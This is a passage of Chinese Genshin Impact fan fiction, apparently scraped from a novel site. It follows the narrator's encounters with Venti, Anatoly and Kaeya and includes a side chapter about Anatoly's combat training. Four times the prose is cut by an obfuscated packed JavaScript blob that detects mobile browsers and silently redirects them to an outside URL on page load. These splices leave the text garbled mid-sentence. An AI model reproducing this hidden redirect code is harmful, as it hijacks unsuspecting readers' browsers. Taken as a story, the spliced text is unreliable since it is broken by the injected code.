月光勾勒出他的轮廓,夜风里似乎还残留着若有若无的琴声余韵,几乎是你察觉的瞬间,他也看向了你。 “回来了,阿贝多那边……顺利吗?”他快步走过来,不由分说把一份蒙德土豆饼塞进你手里,“……路上买的,凉了。” “哦哦,谢谢……阿贝多老师那边还顺利。”你接住温热的食物,拽住欲要离开的衣角,抬头看向他的面具,以及下方抿紧的唇线,“不过,你看起来似乎不太好。” “没事,老毛病了。”他侧头避开你探究的视线,声音有些闷闷的。 “等等……”你看他这副模样,心里了然,然后抓起他的手将随身携带的几颗糖塞到他手心,“给你,之前可莉探望我的时候给了我好多,吃都吃不完。” 他皱了皱眉,低头看去,五颜六色的糖果纸折射出细碎的微光,面具上红色的灯带随着呼吸明灭,最终定格在一个柔和的亮度。 “……谢谢。”他做了个深呼吸。 “不用客气,我们可是搭档,如果有什么烦恼可以跟我说。” “下午在工坊里……是我反应过度了。”他将糖果收好,看向你时把手抬了又抬,最终还是垂下,“下次,不会了。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 最近见到温迪在卖唱的次数有些多,酒馆、广场、喷泉、街头……甚至花园都有他的影子,哦,花园是指骑士团旁边那个。 整个蒙德城沐浴在柔和的晨光里,温迪坐在长椅上弹奏着歌曲,闭眼哼着有节奏的曲调,你感觉周围的风都舒适起来,而先前被风刮走的委托单正在半空中飘飘悠悠缓慢落下,落到他旁边。 “诶呀……这是什么?”他适时停下演奏,伸手拿起那张委托单看了起来,“跑腿?20个苹果……苹果?!” 哦,老婆,你这是故意的还是有意的?你低头看着怀里一袋的苹果,老实说,来到这里不仅仅是刚才莫名其妙的风,还有这份委托。是跑个腿送外卖,地点在这里,而委托人……是他。 且不说他哪来的钱挂委托,用这种方式吸引你过来,难道是…… 环顾一圈,安静的花园除了你们俩就没别人了,你硬着头皮上前伸出手:“不好意思,这位,呃,先生,刚才有风把我的委托单吹走了,你手里的就是。” “你的?”温迪仰起头看过来,眼珠子上下转动,视线先停留在你怀里的苹果,又来到你的脸部,“我还以为风神给了我一个赚摩拉的机会,哎呀,可惜,真是太可惜了……” 你拼命忍住绷不住的嘴角,继续维持姿势:“所以可以还给我了吗?” “仔细一看这不是我的名字吗,哎呀,忘了之前挂的委托,居然是你接下的吗?”他这才恍然大悟般看到了想起了什么,迅速起身对你行了个脱帽礼,“初次见面,这位小姐,我就是温迪。” 为了让你能够更自然与他见面,温迪每一次演唱都选择你必经之路上,结果你不是路过就是在忙委托的途中,最近的一次观望都是在人群边缘。 选的曲子太热门?那他换一首古老的,没什么人听的歌谣,结果由于没什么人,你更是离得远远的。 真相了,你有些害羞,温迪这么想着,很满意自己的猜测。 既然是性格使然,那他不介意再主动些,不然最初送的蒲公英可就白白浪费了呀。 风告诉他,你是来自异世的游子,接受过冰神的赐福,遭遇过遗忘的迷茫,与来自古老存在一同穿越茫茫冰雪,来到风的国度,在这里,似乎一切都好了起来。 只是,他还是想近距离确认一番。 那存在是陨落之后的回响?还是酝酿的恶意?亦或纯粹的意识? 虽说这些事蒙德人自己也会解决,这不,那个白垩之子不就成了关键的一环,连带着那几位都默默关注,他已观察得够久了,也是时候认识一下嘛。 绿色的贝雷帽重新戴了回去,简单的自我介绍后,温迪将委托单递了回来:“那么,亲爱的南柯小姐,可否再帮我一个忙呢?” 你一手接单子一手交货,有点拿不准他的想法,但毕竟是老婆的请求,你不忍心拒绝。 “我就知道你不会对有困难的人视而不见的,咳咳……”他清了清嗓子,煞有介事拿出自己的小本子,“最近缺乏诗歌的灵感,可以随我去几个地方取材吗?” 你应了,于是和他全城都逛了个遍,街头的一角,其他吟游诗人的驻场场地,城门,桥边,城墙上,风车上,屋檐底下……还随机挑选幸运儿把手里的苹果一一送出去。 这算不算受风神他本神的眷顾?你看着他的行为,若有所思。 “最后一个送给你,感谢你陪我搜集灵感。”他将其中最为饱满红润的交给了你,鬓边的两条小辫子随风而动,青色的微光顺着风融入大气中,“当然,还差最后一个地点,可否请你再陪我一趟呢?” 最后是酒馆,他说着有时候酒水也是灵感的来源之一,便拉着你一头扎进去,于是乎,在深夜酒馆打烊的时候,你成功获得一只醉醺醺的绿色吟游诗人。 不儿,大意了,怎么办? “酒馆要打烊了。”查尔斯默默提醒。 闻言,你只好试探性推了推他的肩膀:“温迪?” 绿色的家伙趴在桌上没有动静。 然后在查尔斯的帮助下把温迪搬到外面的桌子,他还提醒你不用管这个人,这家伙时不时就这样,第二天又正常了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088071|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你目送查尔斯的身影消失在转角,又悄悄看了看四周,视线落回他身上,再次推搡他:“温迪,醒醒……喂,巴巴托斯?” 他依旧一动不动的,回应你的只有也只有风拂过他帽子上的塞西莉亚花——不可能吧,他肯定是在装的…… 蓦地,手腕突然被他轻轻捉住,对上他翠绿的眼眸,你几乎是脱口而出:“好啊,你果然在装醉!” 温迪的眼底全是笑意,他直起身抬头,半是惊讶半是欣喜:“你叫了我什么?你知道的呀——” “谁让你怎么叫都叫不醒,刚才都有点不想管你直接回去了。”你想后退,却被他的盛世美颜叫停动作——救命,这家伙在施展美人计! “诶?这可不行,你要丢下我了吗?”他突然可怜巴巴起来,还轻轻晃了晃你的手。 你的血槽要空了呀—— “温迪你不要倚老卖老……” “什么——在你眼里我是这种形象吗?这真是太令人伤心了……” 他甚至挤出眼泪,让你不得不怀疑他在逗你。 你还想说什么,突然一阵风模糊了你的视线,瞬间看不清景象,等回过神,手里只剩一朵塞西莉亚花——温迪他居然直接遁走了?! 你站在原地盯着花好久,准备离开时,突然一双手搭上你的肩膀把你转过去,惊地你差点给对方来一下! “是我……”阿纳托利一手按着你的肩膀低头查看,一手握住你挥过去的手臂,语气莫名有些委屈。 “啊哈哈,原来是搭档啊,我还以为是闹事的酒鬼。”你讪讪收回手放松下来,语气放软,“对了,你怎么过来了?” “我……”他瞥了一眼你手中的花,心中疑惑更甚,“我找你有事,先回去再说。” 他顺势拉起你的手腕往回走,速度并不快,只是面具上的灯带条有些暗淡。 你时不时看向被他紧握的手,试图抽出来——夭寿啦!怎么一个两个都特别针对你的手! “你身上……有酒味?”他紧握住你的手不愿松开,步伐也慢了半拍,侧头微微朝向你。 “呃,我没有喝,只是在听一个朋友讲故事。” 他看着你手中的花,声音不自觉沉了下去:“一个朋友?” “对,他叫温迪,是一个吟游诗人。”你轻轻转动花,又偷偷看了他一眼——怎么看起来心情不太好? 他忽然停下脚步,转头迎上你的目光,微微俯身,声音压得更为低缓:“深夜和醉酒的陌生人待在一起……不安全。” 虽然他说得没毛病,但那是温迪啊……额,对哦,在他眼里确实是陌生人。 在你准备拉开距离的时候,他先一步后撤,伸出另一只手轻轻碰了碰花瓣:“这花沾了酒气,我帮你拿着?” 酒气?这花哪来的酒气? “没什么事的,这是朋友送的见面礼,回去放在阳台就能散味了。”你捻动枝干将花凑近自己的面部,很正常的花香啊。 “好吧……”他直起身沉默了一下,收回了手,继续领着你稳步前进,“既然是见面礼,你可要好好保存。” 18. 第16章 关于怀表 阿纳托利说是有事找你,结果只是送你回住所就没有过多的语言,转头就离开了。 入睡前,你试着用卷轴来解析那个怀表的各种状态,就比如材质……状态是「???」。 你:??? “这算是捡到宝还是卷轴在耍我?你能看出什么吗?”你坐在床上拿起怀表上下打量起来,通体银白色不知道什么的材质,就连里面的字符都不是提瓦特通用字。 「那位炼金术士第二次探查你的意识海,或许是感知到上面有与我同样的能量波动。」祂停顿了一下,「但很可惜,失去记忆的我就算觉得和我有关,也无济于事。」 “你是说上面不仅有风神的力量,还有你的力量?” 「……风和我的力量在这个怀表上设置了一道锁……」罕见的,你听到祂有些迟疑的语气。 “改天问问他?我看看得请多少杯才行……”你开始数仅剩的摩拉——上次应下帮可莉赔偿的还没还完,要不向阿纳托利借吧,那家伙至今还在为愚人众做事,而且看起来工资挺高的。 “我记得你叫……丹特利安?”你在卷轴上写下祂的名字,由元素力构成的墨迹很快就消散了。 「你可要牢牢记住,可别……」祂顿了顿,一副轻松的姿态,「总之找个机会问问吧,反正你们不早就知晓彼此的身份了吗。」 “嗯……”你看向窗台的一株塞西莉亚花——不愧是经过风神之手的植物,养这么久还是刚摘下来的那般水嫩。 吟游诗人就像风一样,不会一直停留在一个地方,你花了好几天才逮住机会。 “温迪,我有些问题想问你。”你开门见山。 “嗯?好久不见,南柯小姐。”他扬了扬手中的钱袋,“这段时间的收获,够买一桶蒲公英酒啦——怎么了?是哪里遇到难题了吗?” “我想问问关于魔神的——” “阿嚏——”他突然一个动静把你吓得一颤,他有些苦恼地捂着脸对你摆摆手,“抱歉抱歉,我不是故意的……” 你左看右看——没有猫啊? “要不这样吧。”他直接把钱袋放在你手里,对你眨眨眼,“诗歌与美酒最为匹配,想要预约专属观众的话,等你准备好,三天后我们在英雄的象征之处见面吧~” 目送绿色的家伙一边打着喷嚏一边离开,你有些摸不着头脑——这附近不是没有猫吗? 「大概是有点冷吧……」祂依旧是看戏的语气,甚至能想象到那饶有兴致的表情。 现在是夏天诶,反正你不信祂的鬼话。 这算是和老婆野餐吗?绝对是的,他给的资金可太丰盛了,你看着价目表上众多的酒水,物色他喜欢的种类。 “南柯小姐怎么突然想喝酒了?”凯亚站在你身侧,疑惑看着你发问,他记得,你对这类一般不主动碰的。 你快要对他的突然出现免疫了……向他撒起谎来都面不改色:“我拜托了一位吟游诗人写了首诗,报酬是蒲公英酒。” “噢——原来如此。”他的目光缓慢打量几圈,“那个吟游诗人是最近很受欢迎的那个,叫什么来着?” “温迪。” 他恍然大悟似的点头:“对对,温迪,他的弹唱我很喜欢,有种在传唱故事的感觉。” 他几乎是寸步不离跟在你身后聊天,从酒馆到水果摊,再到百货商店,甚至颇为体贴帮你拎一些东西。 “南柯小姐,你这报酬……可真丰盛。”又是酒又是苹果,还有食材,呵呵…… “啊?”你回过头看他,又看看袋子里的东西,“酒是给他的,剩下是我的。” 笑话,你怎么能透露要和老婆去野餐的计划呢! 在你全部买完之后准备回去,那个墨色的身影再一次从街角出现了,来了,他来了,他……他怎么一副低气压的样子? “委托做完了?该回去了。”阿纳托利停在你们面前,伸手接过你手里的东西,不着痕迹看了眼凯亚,微微颔首,“又见面了,凯亚。” “哟,小姐的护花使者到了,那么,这次的顾问就到此结束了~”凯亚把所有的东西全部交给阿纳托利,对你们微笑摆手,“下次见……” “怎么突然间成顾问了……”你嘀咕着,总觉得旁边的白毛面具男心情不太好,他只是沉默的走在前面,你有些跟不上了,“阿纳托利,慢点……” 他这才放慢脚步侧身看向你,面具的灯带条以微弱的光律动,红光映衬在他的发梢上。 “你买这些,是要见谁?” 这话咋听着不对劲……看他愈加危险的红光,你连忙咽下那些玩笑话,一五一十把怀表的事告诉他:“……还记得怀表吗?上次给阿贝多看了看,说是和风神有关的古董,而温迪涉及一些考古知识,说不定给他看看有什么线索。” 作为吟游诗人懂一些古物很正常的吧,是啊是吧,不身兼数职怎么攒摩拉呢?就是那家伙平时的模样……在旁人眼里确实没法和文物联系起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088072|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他微不可察叹了声气,只是继续往前走:“但为什么是风起地?” “那可是蒙德的英雄的象征之处,而且他说那里比城里安静,可以更好的观察怀表!”你继续耐心说着,“你要是还不放心,到时候可以跟来……” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 想要说服这个生性多疑的搭档可太难了,偏偏你无法确定他背后具体是哪位执行官,随便把温迪的身份泄露出去改变剧情可咋办?就算不改变也不太好吧…… 风起地风依旧是令人放松,很适合躺在草地上午睡,微风与阳光拂过树叶,伴随柔和的竖琴旋律流淌过周身。 但为什么还是演变成现在三人坐在一起情景?温迪在弹奏开场曲,你在把玩手中的叶子,而阿纳托利……则一声不吭坐在一旁,跟一座石雕似的,面前野餐…嗯,野餐虽丰盛,但在搭档无形散发的寒意下似乎也失去风味了。 “嗯嗯……”温迪抬起怀表透光观察,煞有介事点点头,“材质和文字很少见呢,是不是被人翻新过了?这个花纹有些眼熟……哎呀,时间太久远我想不起来啦!” “那个……”你有些不知道如何开口,现在这个情况实在是太复杂了。 “南柯。”温迪的手指轻轻摩挲怀表,微微眯眼看向你们,翻过怀表递到你面前:“要不要再看看这个花纹?” 你之前就用了很多方法去辨认那个花纹的形态,就连丽莎也暂时看不出是什么呢……不过你还是依言凑了过去—— 温迪的手微微倾斜,调整了一个角度,也不知是眼花还是他的小把戏,那一闪而过青色的微光迅速勾勒花纹的轮廓,快到你几乎看不清。 意识海中的祂似乎有一丝异常的波动,但终究还是没有说话。 “所以……” “嗯,它就是这样的。”他收回手笑着摆弄怀表,调整指针的声响咔哒咔哒的,“你说是在千风神殿的隐藏区域发现的,说不定和风神巴巴托斯有关,不过说到这些,我又想到一首诗歌——” 微风卷起发丝几乎模糊了视野,你们都下意识拢了拢头发。只见温迪取出竖琴,古朴的音调从指尖流出,清脆的嗓音吟唱着晦涩难懂的歌谣——这首你从没听过,就算里面有什么隐喻,就你鱼的记忆,也记不住啊! 「呵……真不知你这几年到底有没有长进,算了,我帮你记下了,可要……好好感谢我啊。」祂的声音似乎从很遥远的位置传来,似乎带着一丝温柔……? 19. 第17章 普通委托不应该被卷入事故中去 随着羽球节的临近,冒险家协会里关于食材、花卉、材料的筹备委托也激增,相应的,有关保护商队的类型也随之增多,空闲时间多接几个也无所谓。 就是…… 自从上次找温迪会面后,虽说你得到了一定的线索,但不知为何,似乎偶遇到阿纳托利的次数多了起来,平常无关紧要的委托、兼职的地方、广场、街道……平常处理野外的委托偶尔见到就算了,为什么这些地方他也要刷存在感啊?! 再怎么迟钝你也发现什么了,这出现得是不是太频繁了?凯亚都没这么勤快,有些百思不得其解——难道是他的上司开始行动了? 「早说了狠心点,直接下手,到现在也不至于落成这副模样……」祂幽幽说道,「需要我帮你动手吗?只需要将他的记忆搅得一团糟……」 “你不要轻飘飘说出这么恐怖的话啊!” 几乎是下意识的反驳,突然提高的声音让路人都忍不住侧目,你只能急忙将手中的书作为掩护,碎碎念里面的句子,快步拐进小巷,确保周围没什么人之后才暗自松了口气。 「心软啦……放心,开个玩笑,我不会这么做的。」 “你最好是在开玩笑……”你压低了声音,就算他再怎么烦人,也不至于这样,更何况……当初没有他,恐怕真的走不出至冬。 不再理祂,你整理好思绪走出巷子往骑士团的方向走去——顺利把书还回去后,出门就一头撞上一堵肉墙! “……资料整理好就送到我的办公室去……诶?小心点。”凯亚急忙伸手稳住你的身形,随后肉眼可见欣喜起来,“好巧啊,南柯小姐~” 一点也不巧,鼻子好痛! “嚯呀,抱歉抱歉……”他见你捂着脸却发不出声,安抚也不是,不安抚也不是,只能带着歉意的语气说着,“对了,既然遇上了,需要我推荐一个委托给你吗——就当是这次的道歉?” 你缓了缓,摆手:“没事,不用了,这点不算什么……” “别急着拒绝啊,先看看嘛~”他已经把怀里折叠的纸展开在你面前了,笑盈盈补充,“放心,并不是什么难事只是日常的跑腿。” 抬眼看去,确实是很普通的委托,但地址有些偏,以及……报酬高得令人心动,再一看发布人,这不就是凯亚自己吗? “你的委托?”你拿过委托单仔细看起来,看向他再次确认,“送什么东西?太贵重丢了我可不管。” “只是一个小玩意,不值钱。”他不知从哪摸出一个小盒子打开给你看——是一枚孔雀造型的宝石胸针。 “你唬人呢? ”你把委托单挡住这闪到眼瞎的宝石,试图推回去,“在你眼里估计不值钱,这怎么看都是我一辈子的工资吧!” “诶,南柯小姐,这玩意骑士团的库房有一大堆,是上次外交活动的小礼品。”他又把盒子推过来一点,“地点确实有点偏,羽球节临近,人手紧张,能立刻接下并且可靠的人选可不多……” 你又瞄了眼委托单上那一串数字,又推回去,只能说不愧是骑士团,出手大方——老实说,你的内心蠢蠢欲动。 “你看啊,由骑士团发布的官方委托,能有什么问题?”他再一次与你来回拉扯,眯了眯眼,直直盯着你的眸子,“难得的外快,不比冒险家协会的好得多?” 好吧,跳到面前的摩拉哪有不薅的道理,这个委托,你接下了。在城里的委托能危险到哪去?总不能半路杀出一个绑架犯吧? 凯亚挥手看着你的背影道别,过了很久,抬头看向逐渐昏暗的天,远处的灯光逐渐亮起,鲜花、彩带……节庆的氛围已然显现,他喃喃自语:“可以开始行动了……” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你再一次骂自己掉进钱眼里,下意识摸了摸腰间的卷轴——这个位置是真的偏,找了整整一个小时才找到,而且这附近似乎没什么人,昏暗寂静的环境让你脑补出n种凶杀案现场。 你还绕着这栋民宅反复确认了好几遍——要么是凯亚写错了,要么是这里的人不在,甚至是……凯亚你个八百个心眼子的人又在利用你了?! 不管了,先放进信箱里…… 由于过于安静的氛围,让你也下意识放轻脚步,只是还没走近几步,手臂突然被谁拽住—— “是我。” 简短带着冰碴的嗓音在身侧突兀响起,你被有些急切的动作拉到一旁的小道里,熟悉的气息笼罩周围,视野瞬间暗了,你下意识抬头去确认。 “诶?”你看到他面具的灯带条泛着微光,那条红色在昏暗中特别刺眼,你发现他这次的衣服和往常的不一样,是执行隐秘性任务才会用到的斗篷,“你怎么在这里?” “这句话应该是我问才对。”他双手撑在你身侧的墙上,低头看着你,然后紧紧盯着你手里的盒子,忽然伸手打开拿起那个胸针。 钴蓝色的宝石在月光的映衬下反射着不同的色泽,他的灯带条亮了一个度,突然抬手把东西给甩飞—— 你被他这突然的动作惊得一愣一愣的,你的委托费!要没了吗?! “那个胸针有定位功能——你身后的民宅原本是愚人众的据点之一。”他简短解释,在你愣神的功夫他顺走了那个盒子,随手扔到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088073|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不远处的杂物堆里,然后直定定看着你,红光又弱了好几分。 “凯亚的委托?”他再次开口。 你回过神点了点头:“……有什么问题吗?你说清楚,不然你擅自丢了别人的委托物品,我会很困扰的。” “我接到一份命令,清理一些撤离的后续麻烦,既然你被卷进来了,就陪我演一出戏吧。”他放下手后退一步拉开距离,“这样对你我都好。” “你是想说凯亚在寻找愚人众曾经的据点,但你碰巧在清理证据,还想让我陪你演一出戏?”你稍微顿了一下,“具体是什么?” “你只需要扮演受害者就好,起码他们不会觉得你和愚人众在明面上有联系。” “不能被骑士团发觉的痕迹,还要你来清理?”你有些苦恼扶着额头,“我有种不祥的预感,这听起来是会危及蒙德的事了……” “你要是指原本的据点,我无法保证……不过我的任务只是清理。”他抬头看了眼小道外,轻声说,“拜托了。” 事已至此你也无法中途离开,很难说清楚的,而如果阿纳托利说的是真的,凯亚给你的委托就耐人寻味了——他想试探什么? 但如果陪搭档演一出戏的话——想想就刺激。 “好吧,但如果真的有什么危及蒙德的事,我是不会客气的。” 在你答应的瞬间,他似乎松了口气,于是将你带进旁边的民宅里,站在空地思索着什么,东翻西找后又靠近窗户那边看了几眼。 你也借着微光打量起周围,这里很乱,像是紧急撤离的那种程度,但留下的基本都只是大型家具和杂物。 很快,他拿着一根绳子回到你身边,犹豫了一下,缓慢开口:“委屈你了。” 受害者需要一个受害者的样子,他看着你被绑住的手腕,先是打了个活结,停顿几秒,又换成死结。 “你不会真做了什么不利于蒙德的事吧?” 他的动作停滞了一瞬,将你的衣领弄凌乱了些,并没有看向你,也没有回答。 “喂喂,你沉默的样子让我有些害怕……”你露出一副怕怕的表情。 “咳……”他挪开视线,戴好兜帽,狠狠揉了一把你的头顶,故作严肃,“俘虏别问这么多。” “但这是不是太松了,演也得要逼真一些啊……”你抬起被绑住的双手晃了晃,感觉再转转手腕找到角度就能抽出来,“搭档,这里不够专业呢。” 他的身形明显颤了一下,手掌顺着你的后脑勺落到脖颈处——在意识彻底陷入黑暗之前,你似乎听到他那极轻的话语…… “抱歉……” 20. 第17.5章 覆面系npc不在线教学(番外二)[番外] (如标题所言,是阿纳托利的番外,时间线在尚未前往蒙德之前,序章之后的至冬) 目之所及之处一片白茫茫,晕染着发灰的蓝,唯一稍微能吸引视线的只有不远处的红色制服——是标准的火铳游击兵的大衣,鲜艳的红色向下渐变成发黑的衣摆。 黑色的帽檐下的制式面具只遮住了上半张脸,灰色底下那条红色,散发着恒定的光晕,跟周围大片大片的白同样刺目。 “为什么是‘搭档’?”你揉着有些僵硬的脸颊看着他,穿越醒来不久后,这位自称你搭档的愚人众便出现了。 但凡「博士」给你的任务需要到野外,阿纳托利也会同行,给你提供火力支援,或是…厨子。 锅里冒着热气的浓汤在咕嘟咕嘟沸腾,他将处理好的食材投入进去,慢慢搅动勺子,头也没抬:“这个身份怎么了吗?” “这个词怎么看都不适合吧!”你站起来叉着腰,试图强调其严重性,“从醒来到现在才见面两个月,外出任务才十来次,就算战斗时的支援也恰到好处赶到,也不应该是……搭档!” “这是上级的安排,能最大程度保障你的任务效率与安全。”他慢慢调整火候,适当添加调料,还试了下味道。 无话可说,无法反驳,憋着一口气哪里都释放不了,你只能长长叹口气坐回原位,抱臂抬头望着天空:“……你赢了。” 初来乍到,身无分文,你还是想快些攒摩拉,离开这能把耳朵都给冻掉的地方,这里确实不太适合种花人的生存。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 自己似乎失去了过往在提瓦特的记忆,直觉上感知到的疑点像是枝头的积雪,越来越多,愈发沉重,直至枝头承受不住,最终一抖散落成飞雪…… 面对「博士」切片下意识的回避,无论是哪一位,只想快速结束交谈溜走;卷轴的具体来历谁也没告诉你,总不能是系统发的吧,等会儿,没有系统……还有,自己是「博士」底下的人居然没事……? 全是不对劲的地方。 醒来时被切片告知体内有「魔神残渣人性意识碎片」,你手上的卷轴能绘制元素造物,同时不能离开至冬境内——不过至冬这么大,你自己都走不出去,这条命令似乎可有可无。 「博士」本人并未在你面前出现过,都是切片和你打交道,偶尔派给你去某个地方测试那个设备、打打那头魔物,摩拉管够。 但这并不是你想要的生活,太无聊了。 偶尔你会突兀地问阿纳托利,他究竟是谁的人,往往只得到一句——“与你无关。” “那么,你的面具可以摘下来吗?” 你捧着放热瓶,透过里面的火元素看向他。 那一头白净的发丝随风而动,白得跟雪原那样有些晃眼,他只是按了下帽檐,冷声道:“不行,这是规定。” “看来,要么确实是规定,要么就是有不方便别人知道的秘密,放心,我不过问啦。”你闭上眼往围巾里缩了缩,把放热瓶塞回怀里。 红色的灯带条亮了亮,他并没有选择回应你的话。 ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 你和他见面的次数并不多,一见面必定是你目前无法单独面对的危机——所以那什么深渊魔物,为什么「博士」要你去协助剿灭? 还暗戳戳表示不接下的话,用来抑制魔神残渣的药剂就不是工作福利,而是得让你花钱买了。 啧,被人拿捏命脉的滋味可不好受。 好在这差不多一年在至冬的生活,让你锻炼了生存技巧——会跑会放技能算合格了么? 平复呼吸,瞄准核心,你将元素力压缩压缩再压缩,瞅准时机再放出去—— “……你似乎有学习枪械的天赋。”阿纳托利这次没能找到机会出手,只能在你结束战斗之际,来到你旁边。 “那你要教我吗?”你收起卷轴,看向他手里的火铳,调笑着,“搭,档…?” “这需要评估,如果后续你的元素力操控精度依旧维持在刚才的水平……”他微微调整了枪口的位置,避开你的方位,“或许可以提供给你一份射击训练区的准入凭证。” 之后你也确实得到了这份意外资源,头一回摸到真枪,愚人众教的东西可真是硬核,光是掌握基本功到认清不同型号的作用场合,就花费了不少的时间,那里的教官还建议你可以进阶了。 但训练场上的练习与实战作用,两者相差还蛮大的,且不说你本来就没纳入军事训练中,严格来说你并不是兵,也没资格去窥见那些教学资源。 再者,你就一个从和平种花家过来的苦逼大学生,军训?你能跑得够快不被魔物撵着就不错了。 不过旁边就有实力成迷的搭档,还在雪原里执行任务的间隙,你会询问他:“刚才你是怎么做到跑这么快还悄无声息的?” “……控制呼吸,步伐落在重心交替的瞬间,利用环境声音掩盖自己的动静。”他说这话的时候顺便示范给你看,哪怕是正面走过来都没有声响——这太离谱了。 但看着很不错的样子,你学了,拿他来当训练对象,但实际情况是…… “左侧,树后,呼吸声太重。” “影子提前暴露了。” “站位不对,风暴露了你的气息。” 他倒是像一个真正的教官那样提醒你,哪些地方需要注意,哪里的动作需要纠正,只要被他发现就会提醒,从行动到被发觉,坚持不到几分钟…… 这么想来,能搞到准入凭证,还教你战斗技巧,而且他看着就不像普通的士兵——他还称自己是特勤专员,做你搭档是防止愚人众重要资产噶掉,真的假的,你是“愚人众重要资产”? 那可得放肆浪了。 不过,既然是搭档…那是否可以再得寸进尺些……? “我想学一些防身技巧,哪种冷兵器更适合我?”你憋了好久才找到机会,在又一次外出任务后,拦住即将消失的他。 “你想学?” “毕竟卷轴需要时间去绘制,万一你没空呢,万一真的有那种情况呢?”你挡住他的去路,挺直腰身试图让自己看起来更诚恳一些。 他打量着你,面具上的灯带条在缓慢明灭,像是在思考,沉默许久,他总算开口了:“以你目前的水平,只是防身的话最适合的是匕首。其他的需要更长的时间去练习以及最基本的力量,而匕首,在迫不得已近身的情况下,是最后的防线。” “站好。”他抽出自己的匕首,光洁的刃面映着彼此的身影,他用刀尖虚点你的手腕、腿部外侧、锁骨下方,低声道,“攻击这些位置,不需要致命就能让对方暂时失去行动能力,方便制造逃脱机会。” “但记住,一旦你亮出它,就必须有割开敌人喉咙的觉悟,犹豫,就是把自己的命交出去。” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 一旦开始真正教学,阿纳托利似乎比平时更为严苛了:“既然要学,就要每天练习,直到形成肌肉记忆。” 于是每天早上你来到住所附近的空地接受他的指导,基础的姿势、突刺角度与步伐,最开始让你对着空气练习,他在一旁提醒矫正。 早上由他亲自指导,下午便自由活动了,毕竟你们自己还有各自的任务,不过离开前,他倒是给你布置了理论作业,让你有空自己复盘那些基本功。 才进行了为期一周的训练后,他看着你已经化身咸鱼再起不能的躺尸,微微叹气:“休息两天,但这期间,我要你观察至冬宫里卫兵的巡逻路线和死角,之后回来报告给我——还有,用热水敷肩颈,自己按摩手臂肌肉,我不希望两天后你比现在的状态更差。” 理想很丰满,现实很骨感……你感觉身体都不是自己的了,吃个饭手都是抖的,躺在床上立马睡死了,虽说得到了休息的时间,但他让你观察什么?! 好吧,这个作业或许可以用卷轴偷个懒,让它感知路线,你再将信息整理出来,至于死角……这个就自己多揣摩一下吧。 他对你的报告倒是没什么意见,只是问你具体是怎么做到的。 听完你的描述后,他轻点图纸上的笔画痕迹:“方法倒是取巧了,不过……有时候工具并不能替代你的脑子,你要用自己的眼睛,记忆,自身的感知力去做,下一次的作业,希望你在不使用卷轴的情况下完成——” 他将一柄训练匕首抛给你:“现在,继续练习。” 训练穿插在日常与任务之中,见面的次数除了外出,就只剩练习的时候了,其余时间是真的瞥不到他的影子。 但每次和你的相处就变成了教学氛围,教你一些战斗技巧、防御的要点、敌人的弱点,甚至是一些阴招——指干扰敌人的感官。 所以啊……每天挥个500下感觉手都要废了……! “这很正常,更何况你并没有接受过系统的新兵集训,500次还算少了。”他蹲在你旁边戳了戳你的翎羽,“而且「博士」给的任务越来越棘手了,有几次你都要濒临精神力透支,这可不是好兆头。” “……突然你好全能啊,会战斗就算了,还会教人,甚至会做饭,总感觉你其实是个特工。”你蔫了吧唧躺在地上闭着眼。 “你也可以这么想,掌握多种生存技巧在愚人众里并没有什么特殊的。”他最后停止了拨弄你翎羽的小动作,站起身对你严肃起来,“休息时间结束了,今天的练习多加100次。” “不要啊……” ┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄ 总的来说,他的训练其实还是有效的,虽然不指望你在没有卷轴的情况下干倒一个训练有素愚人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088074|195400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 